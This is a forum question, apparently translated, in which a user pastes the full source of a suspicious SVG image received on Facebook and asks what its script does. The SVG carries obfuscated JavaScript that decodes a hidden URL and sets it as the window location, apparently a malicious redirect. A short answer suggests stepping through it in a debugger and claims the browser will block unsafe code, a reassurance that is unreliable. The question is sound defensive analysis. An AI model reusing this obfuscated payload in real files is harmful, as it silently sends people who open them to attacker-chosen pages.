Answer the question
In order to leave comments, you need to log in
Can you help me decipher the virus script that is hidden in the SVG image?
Received a message on Facebook with an attached picture "photo1323.svg" .
I downloaded, which means this image, and I think that this addressee may know about the scalable vector graphics markup language. And then I remember that SVG supports JavaScript, which is used to make animation.
I opened it in notepad and did not parse a single function and not a single parameter, as if it was somehow generated, and not written by a person.
Here is the script
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" xmlns="http://www.w3.org/2000/svg">
<circle cx="250" cy="250" r="50" fill="red" />
<script type="text/javascript"><![CDATA[
function vuoelw(buegk, npydu, qcpfy) {
for (var coicer = "RNc0gAnrjv:T.fB29yEad6C=zJ1VUHblu_/PohGYOSL4mX7I3iZeFs?tp85KDkMx", yfckcd = ["rFgU_p5MvhOb=JuozHiSxYm4kE8j1.36l7cDaLey9ns0V:TRfINtXZ\/K2PAd?CGB","mOL?_1HSVZeB7rNyYpR39ghb0C\/DcuEiX8:6f=s.G4JxIdPoTjUta5lkKnAMF2vz","GN3EmAoHVfMLFUT06v\/27aB9cugZPxJdKhr5SI1:Y?tz4ln8kRCbD.j_y=espXOi",":B7eDtUHjbCY1ILTM\/2PmhSuNc_lxJO4E.GosFdy0ag83k5zRp?rnv69VifZ=KAX",".0hbvERV6kyHS8_zlX=GBmtMZ5c?NYO9\/4LJFUon7spr3CiKeDagTdfj1P2Au:Ix"], whsht = "", xrjrt = 0; yfckcd[xrjrt];) xrjrt++;
for (var gkvyro = 0; buegk[gkvyro];) {
for (var gnjnvt = 0, gnntty = -1; coicer[gnjnvt];) {
if (coicer[gnjnvt] == buegk[gkvyro]) {
gnntty = gnjnvt;
break
}
gnjnvt++
}
if (gnntty >= 0) {
for (var qcucm = 0, awducq = -1; yfckcd[gkvyro % xrjrt][qcucm];) {
if (yfckcd[gkvyro % xrjrt][qcucm] == buegk[gkvyro]) {
awducq = qcucm;
break
}
qcucm++
}
whsht += coicer[awducq]
} else whsht += buegk[gkvyro];
gkvyro++
}
var hswos = "";
for (nfegz = npydu; nfegz < whsht.length; nfegz++) hswos += whsht[nfegz];
return whsht = hswos
}
var ofqwly = window;
var lmktar = vuoelw("kwfIjaK",4,true);
var nzbeu = vuoelw("qjiq9aL29DaH",4,true);
var ndgexl = vuoelw("JqmD85KbmRLfSwUMtU",14,true);
ofqwly[lmktar][nzbeu][ndgexl] = vuoelw("2IcVUKkyCLcpRUdtwb1/Z:dshSkRsR=KIV",4,false);
]]></script>
</svg>
Answer the question
In order to leave comments, you need to log in
Pull out the script, paste it into a blank page or jsfiddle.net in Chrome
Add it to the first line debugger;
Open the developer console and execute command by command. It becomes clear how it works.
The browser's security policy will not allow code that is not safe to be executed.
Didn't find what you were looking for?
Ask your questionAsk a Question
731 491 924 answers to any question